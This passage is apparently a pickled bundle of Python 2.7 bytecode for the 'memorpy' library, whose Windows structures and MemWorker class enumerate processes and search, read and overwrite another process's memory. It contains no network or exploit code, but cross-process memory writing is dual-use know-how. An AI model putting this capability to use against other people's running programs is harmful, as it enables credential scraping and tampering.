x00e\\x04\\x00f\\x02\\x00d\\t\\x00e\\x05\\x00d\\n\\x00\\x14f\\x02\\x00d\\x0b\\x00e\\x03\\x00f\\x02\\x00d\\x0c\\x00e\\x03\\x00f\\x02\\x00g\\x0c\\x00Z\\x06\\x00RS(\\r\\x00\\x00\\x00t\\x06\\x00\\x00\\x00dwSizet\\x08\\x00\\x00\\x00cntUsaget\\r\\x00\\x00\\x00th32ProcessIDt\\x11\\x00\\x00\\x00th32DefaultHeapIDt\\x0c\\x00\\x00\\x00th32ModuleIDt\\n\\x00\\x00\\x00cntThreadst\\x13\\x00\\x00\\x00th32ParentProcessIDt\\x0e\\x00\\x00\\x00pcPriClassBaset\\x07\\x00\\x00\\x00dwFlagst\\t\\x00\\x00\\x00szExeFilei\\x04\\x01\\x00\\x00t\\x0e\\x00\\x00\\x00th32MemoryBaset\\r\\x00\\x00\\x00th32AccessKey(\\x07\\x00\\x00\\x00R\\x17\\x00\\x00\\x00R\\x18\\x00\\x00\\x00R\\x03\\x00\\x00\\x00R\\x01\\x00\\x00\\x00R\\x19\\x00\\x00\\x00R\\x04\\x00\\x00\\x00R\\x1a\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sU\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyR5\\x00\\x00\\x00I\\x00\\x00\\x00s\\x18\\x00\\x00\\x00\\x06\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x02\\r\\x01\\t\\x01t\\r\\x00\\x00\\x00MODULEENTRY32c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00B\\x00\\x00\\x00sp\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00e\\x02\\x00f\\x02\\x00d\\x01\\x00e\\x02\\x00f\\x02\\x00d\\x02\\x00e\\x02\\x00f\\x02\\x00d\\x03\\x00e\\x02\\x00f\\x02\\x00d\\x04\\x00e\\x02\\x00f\\x02\\x00d\\x05\\x00e\\x02\\x00f\\x02\\x00d\\x06\\x00e\\x02\\x00f\\x02\\x00d\\x07\\x00e\\x02\\x00f\\x02\\x00d\\x08\\x00e\\x03\\x00d\\t\\x00\\x14f\\x02\\x00d\\n\\x00e\\x03\\x00d\\x0b\\x00\\x14f\\x02\\x00g\\n\\x00Z\\x04\\x00RS(\\x0c\\x00\\x00\\x00R6\\x00\\x00\\x00R:\\x00\\x00\\x00R8\\x00\\x00\\x00t\\x0c\\x00\\x00\\x00GlblcntUsaget\\x0c\\x00\\x00\\x00ProccntUsaget\\x0b\\x00\\x00\\x00modBaseAddrt\\x0b\\x00\\x00\\x00modBaseSizet\\x07\\x00\\x00\\x00hModulet\\x08\\x00\\x00\\x00szModulei\\x00\\x01\\x00\\x00t\\t\\x00\\x00\\x00szExePathi\\x04\\x01\\x00\\x00(\\x05\\x00\\x00\\x00R\\x17\\x00\\x00\\x00R\\x18\\x00\\x00\\x00R\\x03\\x00\\x00\\x00R\\x04\\x00\\x00\\x00R\\x1a\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sU\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyRB\\x00\\x00\\x00Y\\x00\\x00\\x00s\\x14\\x00\\x00\\x00\\x06\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\r\\x01t\\r\\x00\\x00\\x00THREADENTRY32c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00B\\x00\\x00\\x00sM\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00e\\x02\\x00f\\x02\\x00d\\x01\\x00e\\x02\\x00f\\x02\\x00d\\x02\\x00e\\x02\\x00f\\x02\\x00d\\x03\\x00e\\x02\\x00f\\x02\\x00d\\x04\\x00e\\x02\\x00f\\x02\\x00d\\x05\\x00e\\x02\\x00f\\x02\\x00d\\x06\\x00e\\x02\\x00f\\x02\\x00g\\x07\\x00Z\\x03\\x00RS(\\x07\\x00\\x00\\x00R6\\x00\\x00\\x00R7\\x00\\x00\\x00t\\x0c\\x00\\x00\\x00th32ThreadIDt\\x12\\x00\\x00\\x00th32OwnerProcessIDt\\t\\x00\\x00\\x00tpBasePrit\\n\\x00\\x00\\x00tpDeltaPriR>\\x00\\x00\\x00(\\x04\\x00\\x00\\x00R\\x17\\x00\\x00\\x00R\\x18\\x00\\x00\\x00R\\x03\\x00\\x00\\x00R\\x1a\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sU\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyRJ\\x00\\x00\\x00f\\x00\\x00\\x00s\\x0e\\x00\\x00\\x00\\x06\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01\\t\\x01t\\x0c\\x00\\x00\\x00TH32CS_CLASSc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00B\\x00\\x00\\x00s2\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x00\\x00Z\\x02\\x00d\\x01\\x00Z\\x03\\x00d\\x02\\x00Z\\x04\\x00d\\x03\\x00Z\\x05\\x00d\\x04\\x00Z\\x06\\x00d\\x05\\x00Z\\x07\\x00d\\x06\\x00Z\\x08\\x00RS(\\x07\\x00\\x00\\x00l\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00i\\x01\\x00\\x00\\x00i\\x08\\x00\\x00\\x00i\\x10\\x00\\x00\\x00i\\x02\\x00\\x00\\x00i\\x04\\x00\\x00\\x00i\\xff\\x03\\x1f\\x00(\\t\\x00\\x00\\x00R\\x17\\x00\\x00\\x00R\\x18\\x00\\x00\\x00t\\x07\\x00\\x00\\x00INHERITt\\x0c\\x00\\x00\\x00SNAPHEAPLISTt\\n\\x00\\x00\\x00SNAPMODULEt\\x0c\\x00\\x00\\x00SNAPMODULE32t\\x0b\\x00\\x00\\x00SNAPPROCESSt\\n\\x00\\x00\\x00SNAPTHREADt\\x03\\x00\\x00\\x00ALL(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sU\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyRO\\x00\\x00\\x00p\\x00\\x00\\x00s\\x0e\\x00\\x00\\x00\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x01i@\\x00\\x00\\x00i \\x00\\x00\\x00i\\x02\\x00\\x00\\x00i\\x04\\x00\\x00\\x00i\\x00\\x02\\x00\\x00i\\x00\\x04\\x00\\x00i\\x00\\x01\\x00\\x00i\\x00\\x10\\x00\\x00i\\x00\\x00\\x01\\x00i\\x00 \\x00\\x00i\\x00\\x00\\x00 N(B\\x00\\x00\\x00t\\x06\\x00\\x00\\x00ctypesR\\x00\\x00\\x00\\x00R\\x01\\x00\\x00\\x00R\\x02\\x00\\x00\\x00R\\x03\\x00\\x00\\x00R\\x04\\x00\\x00\\x00R\\x05\\x00\\x00\\x00R\\x06\\x00\\x00\\x00R\\x07\\x00\\x00\\x00R\\x08\\x00\\x00\\x00R\\t\\x00\\x00\\x00R\\n\\x00\\x00\\x00R\\x0b\\x00\\x00\\x00R\\x0c\\x00\\x00\\x00R\\r\\x00\\x00\\x00R\\x0e\\x00\\x00\\x00R\\x0f\\x00\\x00\\x00t\\x0f\\x00\\x00\\x00ctypes.wintypesR4\\x00\\x00\\x00R\\x11\\x00\\x00\\x00t\\x14\\x00\\x00\\x00PSECURITY_DESCRIPTORR\\x1b\\x00\\x00\\x00R#\\x00\\x00\\x00R&\\x00\\x00\\x00R5\\x00\\x00\\x00RB\\x00\\x00\\x00RJ\\x00\\x00\\x00t\\x06\\x00\\x00\\x00objectRO\\x00\\x00\\x00t\\x08\\x00\\x00\\x00kernel32t\\r\\x00\\x00\\x00Module32Firstt\\x08\\x00\\x00\\x00argtypest\\x07\\x00\\x00\\x00rettypet\\x0c\\x00\\x00\\x00Module32Nextt\\x0e\\x00\\x00\\x00Process32Firstt\\r\\x00\\x00\\x00Process32Nextt\\x18\\x00\\x00\\x00CreateToolhelp32Snapshott\\x07\\x00\\x00\\x00reltypet\\x0b\\x00\\x00\\x00CloseHandlet\\x0b\\x00\\x00\\x00OpenProcesst\\x08\\x00\\x00\\x00advapi32t\\x10\\x00\\x00\\x00OpenProcessTokent\\x06\\x00\\x00\\x00HANDLER\\x19\\x00\\x00\\x00t\\x04\\x00\\x00\\x00BOOLt\\x07\\x00\\x00\\x00restypet\\x11\\x00\\x00\\x00ReadProcessMemoryt\\x07\\x00\\x00\\x00LPCVOIDR3\\x00\\x00\\x00t\\x12\\x00\\x00\\x00WriteProcessMemoryt\\x04\\x00\\x00\\x00Nonet\\x1a\\x00\\x00\\x00NtWow64ReadVirtualMemory64t\\x05\\x00\\x00\\x00ntdllt\\x0e\\x00\\x00\\x00VirtualQueryExt\\x16\\x00\\x00\\x00PAGE_EXECUTE_READWRITEt\\x11\\x00\\x00\\x00PAGE_EXECUTE_READt\\r\\x00\\x00\\x00PAGE_READONLYt\\x0e\\x00\\x00\\x00PAGE_READWRITEt\\x0c\\x00\\x00\\x00PAGE_NOCACHEt\\x11\\x00\\x00\\x00PAGE_WRITECOMBINEt\\n\\x00\\x00\\x00PAGE_GUARDt\\n\\x00\\x00\\x00MEM_COMMITt\\x08\\x00\\x00\\x00MEM_FREEt\\x0b\\x00\\x00\\x00MEM_RESERVEt%\\x00\\x00\\x00UNPROTECTED_DACL_SECURITY_INFORMATIONt\\x19\\x00\\x00\\x00DACL_SECURITY_INFORMATION(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sU\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/WinStructures.pyt\\x08\\x00\\x00\\x00\\x11\\x00\\x00\\x00s\\x84\\x00\\x00\\x00j\\x01\\n\\x02\\x12\\x01\\t\\x02\\x06\\x03\\x16\\x08\\x0c\\x02\\x16\\n\\x16\\r\\x16\\x0e\\x16\\x10\\x16\\r\\x16\\n\\x16\\n\\x0c\\x01\\x15\\x01\\t\\x01\\x0c\\x01\\x15\\x01\\t\\x02\\x0c\\x01\\x15\\x01\\t\\x01\\x0c\\x01\\x15\\x01\\t\\x02\\x0c\\x01\\t\\x01\\x0f\\x02\\x0c\\x01\\x0c\\x01\\t\\x02\\x0c\\x01\\x12\\x01\\t\\x01\\x0c\\x01\\x18\\x01\\t\\x02\\x0c\\x01\\x1e\\x01\\x0c\\x02\\x0c\\x01\\x1e\\x01\\t\\x02\\x12\\x01\\t\\x02\\x03\\x01\\x0c\\x01\\x1e\\x01\\r\\x01\\x03\\x01\\n\\x02\\x0c\\x01\\x1b\\x01\\t\\x06\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x01\\x06\\x02\\x06\\x01\\x06\\x01\\x06\\x02\\x06\\x01\'\np15\nsS\'memorpy/MemWorker.pyc\'\np16\nS\'\\x03\\xf3\\r\\ng\\x18\\x05Yc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00@\\x00\\x00\\x00s\\xc4\\x00\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x00\\x00Z\\x00\\x00d\\x00\\x00d\\x01\\x00l\\x01\\x00Z\\x01\\x00d\\x00\\x00d\\x01\\x00l\\x02\\x00Z\\x02\\x00d\\x00\\x00d\\x01\\x00l\\x03\\x00Z\\x03\\x00d\\x00\\x00d\\x01\\x00l\\x04\\x00Z\\x04\\x00d\\x00\\x00d\\x01\\x00l\\x05\\x00Z\\x05\\x00d\\x00\\x00d\\x01\\x00l\\x06\\x00Z\\x06\\x00d\\x00\\x00d\\x02\\x00l\\x07\\x00m\\x07\\x00Z\\x07\\x00\\x01d\\x00\\x00d\\x01\\x00l\\x08\\x00Z\\x08\\x00d\\x00\\x00d\\x01\\x00l\\t\\x00Z\\t\\x00d\\x00\\x00d\\x03\\x00l\\n\\x00Te\\x03\\x00j\\x0b\\x00d\\x04\\x00\\x83\\x01\\x00Z\\x0c\\x00e\\r\\x00e\\x02\\x00j\\x0e\\x00d\\x05\\x00\\x83\\x01\\x00\\x83\\x01\\x00Z\\x0f\\x00d\\x06\\x00e\\x10\\x00f\\x01\\x00d\\x07\\x00\\x84\\x00\\x00\\x83\\x00\\x00YZ\\x11\\x00d\\x01\\x00S(\\x08\\x00\\x00\\x00i\\xff\\xff\\xff\\xffN(\\x01\\x00\\x00\\x00t\\x07\\x00\\x00\\x00Address(\\x01\\x00\\x00\\x00t\\x01\\x00\\x00\\x00*t\\x07\\x00\\x00\\x00memorpys\\x06\\x00\\x00\\x00^plop$t\\t\\x00\\x00\\x00MemWorkerc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00B\\x00\\x00\\x00s\\xc9\\x00\\x00\\x00e\\x00\\x00Z\\x01\\x00d\\x12\\x00d\\x12\\x00d\\x12\\x00d\\x12\\x00e\\x03\\x00d\\x00\\x00\\x84\\x05\\x00Z\\x04\\x00d\\x01\\x00\\x84\\x00\\x00Z\\x05\\x00d\\x02\\x00\\x84\\x00\\x00Z\\x06\\x00d\\x03\\x00d\\x04\\x00\\x84\\x01\\x00Z\\x07\\x00d\\x05\\x00\\x84\\x00\\x00Z\\x08\\x00d\\x06\\x00\\x84\\x00\\x00Z\\t\\x00d\\x07\\x00\\x84\\x00\\x00Z\\n\\x00d\\x08\\x00\\x84\\x00\\x00Z\\x0b\\x00d\\x12\\x00d\\x12\\x00d\\t\\x00\\x84\\x02\\x00Z\\x0c\\x00d\\n\\x00\\x84\\x00\\x00Z\\x08\\x00d\\x0b\\x00\\x84\\x00\\x00Z\\r\\x00d\\x0c\\x00\\x84\\x00\\x00Z\\x0e\\x00d\\x12\\x00d\\r\\x00\\x84\\x01\\x00Z\\x0f\\x00d\\x12\\x00d\\x0e\\x00\\x84\\x01\\x00Z\\x10\\x00d\\x0f\\x00\\x84\\x00\\x00Z\\x11\\x00d\\x10\\x00e\\x12\\x00e\\x13\\x00Bd\\x12\\x00d\\x12\\x00d\\x12\\x00d\\x11\\x00\\x84\\x05\\x00Z\\x14\\x00RS(\\x13\\x00\\x00\\x00c\\x06\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x07\\x00\\x00\\x00C\\x00\\x00\\x00s%\\x00\\x00\\x00t\\x00\\x00j\\x00\\x00d\\x01\\x00|\\x02\\x00d\\x02\\x00|\\x01\\x00d\\x03\\x00|\\x05\\x00\\x83\\x00\\x03|\\x00\\x00_\\x01\\x00d\\x00\\x00S(\\x04\\x00\\x00\\x00Nt\\x04\\x00\\x00\\x00namet\\x03\\x00\\x00\\x00pidt\\x05\\x00\\x00\\x00debug(\\x02\\x00\\x00\\x00t\\x07\\x00\\x00\\x00Processt\\x07\\x00\\x00\\x00process(\\x06\\x00\\x00\\x00t\\x04\\x00\\x00\\x00selfR\\x05\\x00\\x00\\x00R\\x04\\x00\\x00\\x00t\\n\\x00\\x00\\x00end_offsett\\x0c\\x00\\x00\\x00start_offsetR\\x06\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\x08\\x00\\x00\\x00__init__!\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\x04\\x00\\x00\\x00|\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x00\\x00\\x00\\x00(\\x01\\x00\\x00\\x00R\\t\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\t\\x00\\x00\\x00__enter__$\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01c\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00C\\x00\\x00\\x00s\\x11\\x00\\x00\\x00|\\x00\\x00j\\x00\\x00j\\x01\\x00\\x83\\x00\\x00\\x01d\\x00\\x00S(\\x01\\x00\\x00\\x00N(\\x02\\x00\\x00\\x00R\\x08\\x00\\x00\\x00t\\x05\\x00\\x00\\x00close(\\x04\\x00\\x00\\x00R\\t\\x00\\x00\\x00t\\x04\\x00\\x00\\x00typet\\x05\\x00\\x00\\x00valuet\\t\\x00\\x00\\x00traceback(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\x08\\x00\\x00\\x00__exit__\\\'\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x01t\\x04\\x00\\x00\\x00uintc\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x06\\x00\\x00\\x00C\\x00\\x00\\x00s\\x19\\x00\\x00\\x00t\\x00\\x00|\\x01\\x00d\\x01\\x00|\\x00\\x00j\\x01\\x00d\\x02\\x00|\\x02\\x00\\x83\\x01\\x02S(\\x03\\x00\\x00\\x00sB\\x00\\x00\\x00 wrapper to instanciate an Address class for the memworker.processR\\x08\\x00\\x00\\x00t\\x0c\\x00\\x00\\x00default_type(\\x02\\x00\\x00\\x00R\\x00\\x00\\x00\\x00R\\x08\\x00\\x00\\x00(\\x03\\x00\\x00\\x00R\\t\\x00\\x00\\x00R\\x10\\x00\\x00\\x00R\\x14\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyR\\x00\\x00\\x00\\x00*\\x00\\x00\\x00s\\x02\\x00\\x00\\x00\\x00\\x02c\\x02\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\t\\x00\\x00\\x00C\\x00\\x00\\x00sv\\x00\\x00\\x00t\\x00\\x00|\\x01\\x00\\x83\\x01\\x00}\\x01\\x00xc\\x00|\\x00\\x00j\\x01\\x00j\\x02\\x00\\x83\\x00\\x00D]R\\x00}\\x02\\x00xI\\x00|\\x00\\x00j\\x03\\x00|\\x01\\x00d\\x01\\x00d\\x02\\x00d\\x03\\x00|\\x02\\x00j\\x04\\x00d\\x04\\x00|\\x02\\x00j\\x05\\x00\\x83\\x01\\x03D] \\x00}\\x03\\x00t\\x06\\x00j\\x07\\x00d\\x05\\x00|\\x02\\x00j\\x08\\x00|\\x03\\x00f\\x02\\x00\\x16\\x83\\x01\\x00\\x01qJ\\x00Wq\\x1c\\x00Wd\\x00\\x00S(\\x06\\x00\\x00\\x00Nt\\x05\\x00\\x00\\x00ftypet\\x05\\x00\\x00\\x00ulongR\\x0b\\x00\\x00\\x00R\\n\\x00\\x00\\x00s\\x1a\\x00\\x00\\x00found module %s => addr %s(\\t\\x00\\x00\\x00t\\x03\\x00\\x00\\x00intR\\x08\\x00\\x00\\x00t\\x0c\\x00\\x00\\x00list_modulest\\n\\x00\\x00\\x00mem_searcht\\x0b\\x00\\x00\\x00modBaseAddrt\\x0b\\x00\\x00\\x00modBaseSizet\\x06\\x00\\x00\\x00loggerR\\x06\\x00\\x00\\x00t\\x08\\x00\\x00\\x00szModule(\\x04\\x00\\x00\\x00R\\t\\x00\\x00\\x00t\\x07\\x00\\x00\\x00addresst\\x01\\x00\\x00\\x00mt\\x04\\x00\\x00\\x00addr(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\x0e\\x00\\x00\\x00search_address.\\x00\\x00\\x00s\\x08\\x00\\x00\\x00\\x00\\x01\\x0c\\x01\\x16\\x01.\\x01c\\x03\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00C\\x00\\x00\\x00s=\\x00\\x00\\x00t\\x00\\x00j\\x01\\x00|\\x01\\x00\\x83\\x01\\x00}\\x01\\x00|\\x02\\x00j\\x02\\x00d\\x01\\x00\\x83\\x01\\x00}\\x02\\x00|\\x00\\x00j\\x03\\x00t\\x04\\x00j\\x05\\x00|\\x01\\x00t\\x04\\x00j\\x06\\x00\\x83\\x02\\x00|\\x02\\x00\\x83\\x02\\x00S(\\x02\\x00\\x00\\x00s8\\x00\\x00\\x00 like search_replace_mem but works with unicode strings s\\t\\x00\\x00\\x00utf-16-le(\\x07\\x00\\x00\\x00t\\x05\\x00\\x00\\x00utilst\\r\\x00\\x00\\x00re_to_unicodet\\x06\\x00\\x00\\x00encodet\\x0b\\x00\\x00\\x00mem_replacet\\x02\\x00\\x00\\x00ret\\x07\\x00\\x00\\x00compilet\\x07\\x00\\x00\\x00UNICODE(\\x03\\x00\\x00\\x00R\\t\\x00\\x00\\x00t\\x05\\x00\\x00\\x00regext\\x07\\x00\\x00\\x00replace(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\x0c\\x00\\x00\\x00umem_replace4\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x00\\x02\\x0f\\x01\\x0f\\x01c\\x03\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x04\\x00\\x00\\x00C\\x00\\x00\\x00sp\\x00\\x00\\x00t\\x00\\x00}\\x03\\x00xc\\x00|\\x00\\x00j\\x01\\x00|\\x01\\x00d\\x01\\x00d\\x02\\x00\\x83\\x01\\x01D]L\\x00}\\x04\\x00|\\x00\\x00j\\x02\\x00j\\x03\\x00|\\x04\\x00|\\x02\\x00\\x83\\x02\\x00d\\x03\\x00k\\x02\\x00rQ\\x00t\\x04\\x00j\\x05\\x00d\\x04\\x00|\\x04\\x00\\x16\\x83\\x01\\x00\\x01q\\x1c\\x00t\\x06\\x00}\\x03\\x00t\\x04\\x00j\\x05\\x00d\\x05\\x00|\\x04\\x00\\x16\\x83\\x01\\x00\\x01q\\x1c\\x00W|\\x03\\x00S(\\x06\\x00\\x00\\x00s?\\x00\\x00\\x00 search memory for a pattern and replace all found occurrences R\\x15\\x00\\x00\\x00R&\\x00\\x00\\x00i\\x01\\x00\\x00\\x00s\\x1e\\x00\\x00\\x00Write at offset %s succeeded !s\\x1b\\x00\\x00\\x00Write at offset %s failed !(\\x07\\x00\\x00\\x00t\\x04\\x00\\x00\\x00TrueR\\x19\\x00\\x00\\x00R\\x08\\x00\\x00\\x00t\\x0b\\x00\\x00\\x00write_bytesR\\x1c\\x00\\x00\\x00R\\x06\\x00\\x00\\x00t\\x05\\x00\\x00\\x00False(\\x05\\x00\\x00\\x00R\\t\\x00\\x00\\x00R)\\x00\\x00\\x00R*\\x00\\x00\\x00t\\x10\\x00\\x00\\x00allWritesSucceedR\\x0b\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyR%\\x00\\x00\\x00:\\x00\\x00\\x00s\\x0e\\x00\\x00\\x00\\x00\\x02\\x06\\x01\\x1c\\x01\\x1b\\x01\\x14\\x02\\x06\\x01\\x15\\x02c\\x02\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00c\\x00\\x00\\x00s>\\x00\\x00\\x00t\\x00\\x00j\\x01\\x00|\\x01\\x00\\x83\\x01\\x00}\\x01\\x00x(\\x00|\\x00\\x00j\\x02\\x00t\\x03\\x00|\\x01\\x00\\x83\\x01\\x00d\\x01\\x00d\\x02\\x00\\x83\\x01\\x01D]\\x0b\\x00}\\x02\\x00|\\x02\\x00V\\x01q+\\x00Wd\\x03\\x00S(\\x04\\x00\\x00\\x00s0\\x00\\x00\\x00 like mem_search but works with unicode strings R\\x15\\x00\\x00\\x00R&\\x00\\x00\\x00N(\\x04\\x00\\x00\\x00R"\\x00\\x00\\x00R#\\x00\\x00\\x00R\\x19\\x00\\x00\\x00t\\x03\\x00\\x00\\x00str(\\x03\\x00\\x00\\x00R\\t\\x00\\x00\\x00R)\\x00\\x00\\x00t\\x01\\x00\\x00\\x00i(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\x0b\\x00\\x00\\x00umem_searchF\\x00\\x00\\x00s\\x06\\x00\\x00\\x00\\x00\\x02\\x0f\\x01"\\x01c\\x04\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x08\\x00\\x00\\x00C\\x00\\x00\\x00s\\x94\\x00\\x00\\x00d\\x01\\x00}\\x04\\x00xl\\x00|\\x01\\x00D]d\\x00\\\\\\x02\\x00}\\x05\\x00}\\x06\\x00|\\x06\\x00d\\x02\\x00k\\x02\\x00s1\\x00|\\x06\\x00d\\x03\\x00k\\x02\\x00ra\\x00t\\x00\\x00j\\x01\\x00d\\x04\\x00t\\x02\\x00|\\x05\\x00\\x83\\x01\\x00\\x83\\x02\\x00}\\x07\\x00|\\x04\\x00d\\x05\\x00|\\x07\\x00d\\x06\\x00d\\x07\\x00!\\x177}\\x04\\x00q\\r\\x00t\\x03\\x00d\\x08\\x00|\\x06\\x00\\x16\\x83\\x01\\x00\\x82\\x01\\x00q\\r\\x00W|\\x00\\x00j\\x04\\x00|\\x04\\x00d\\t\\x00d\\n\\x00d\\x0b\\x00|\\x02\\x00d\\x0c\\x00|\\x03\\x00\\x83\\x01\\x03S(\\r\\x00\\x00\\x00Nt\\x00\\x00\\x00\\x00t\\x01\\x00\\x00\\x00ft\\x05\\x00\\x00\\x00floats\\x02\\x00\\x00\\x00\\x00W|\\x00\\x00j\\x06\\x00t\\x07\\x00j\\x08\\x00|\\x03\\x00\\x83\\x01\\x00d\\x07\\x00d\\x08\\x00\\x83\\x01\\x01S(\\t\\x00\\x00\\x00Ns\\x04\\x00\\x00\\x00%08Xs\\x14\\x00\\x00\\x00searching address %sR3\\x00\\x00\\x00i\\x02\\x00\\x00\\x00i\\xff\\xff\\xff\\xffi\\xfe\\xff\\xff\\xffR\\x15\\x00\\x00\\x00R&\\x00\\x00\\x00(\\t\\x00\\x00\\x00R\\x1c\\x00\\x00\\x00R\\x06\\x00\\x00\\x00t\\x05\\x00\\x00\\x00ranget\\x03\\x00\\x00\\x00lent\\x08\\x00\\x00\\x00binasciit\\t\\x00\\x00\\x00unhexlifyR\\x19\\x00\\x00\\x00R&\\x00\\x00\\x00t\\x06\\x00\\x00\\x00escape(\\x05\\x00\\x00\\x00R\\t\\x00\\x00\\x00R \\x00\\x00\\x00t\\x01\\x00\\x00\\x00aR)\\x00\\x00\\x00R1\\x00\\x00\\x00(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyR!\\x00\\x00\\x00W\\x00\\x00\\x00s\\x0c\\x00\\x00\\x00\\x00\\x01\\n\\x01\\x11\\x01\\x06\\x01#\\x01"\\x02c\\x04\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x06\\x00\\x00\\x00c\\x00\\x00\\x00sV\\x00\\x00\\x00xO\\x00|\\x02\\x00D]G\\x00\\\\\\x02\\x00}\\x04\\x00}\\x05\\x00x8\\x00|\\x05\\x00j\\x00\\x00|\\x01\\x00\\x83\\x01\\x00D]\\\'\\x00}\\x06\\x00|\\x04\\x00|\\x00\\x00j\\x01\\x00|\\x03\\x00|\\x06\\x00j\\x02\\x00\\x83\\x00\\x00\\x17d\\x01\\x00\\x83\\x02\\x00f\\x02\\x00V\\x01q#\\x00Wq\\x07\\x00Wd\\x00\\x00S(\\x02\\x00\\x00\\x00Nt\\x05\\x00\\x00\\x00bytes(\\x03\\x00\\x00\\x00t\\x08\\x00\\x00\\x00finditerR\\x00\\x00\\x00\\x00t\\x05\\x00\\x00\\x00start(\\x07\\x00\\x00\\x00R\\t\\x00\\x00\\x00t\\x01\\x00\\x00\\x00bR\\x10\\x00\\x00\\x00t\\x06\\x00\\x00\\x00offsetR\\x04\\x00\\x00\\x00R)\\x00\\x00\\x00t\\x03\\x00\\x00\\x00res(\\x00\\x00\\x00\\x00(\\x00\\x00\\x00\\x00sQ\\x00\\x00\\x00/usr/local/lib/python2.7/dist-packages/memorpy-1.6-py2.7.egg/memorpy/MemWorker.pyt\\x11\\x00\\x00\\x00parse_re_function`\\x00\\x00\\x00s\\x08\\x00\\x00\\x00\\x00\\x01\\x13\\x01\\x16\\x01!\\tc\\x04\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x07\\x00\\x00\\x00c\\x00\\x00\\x00s\\xaa\\x00\\x00\\x00x\\xa3\\x00t\\x00\\x00d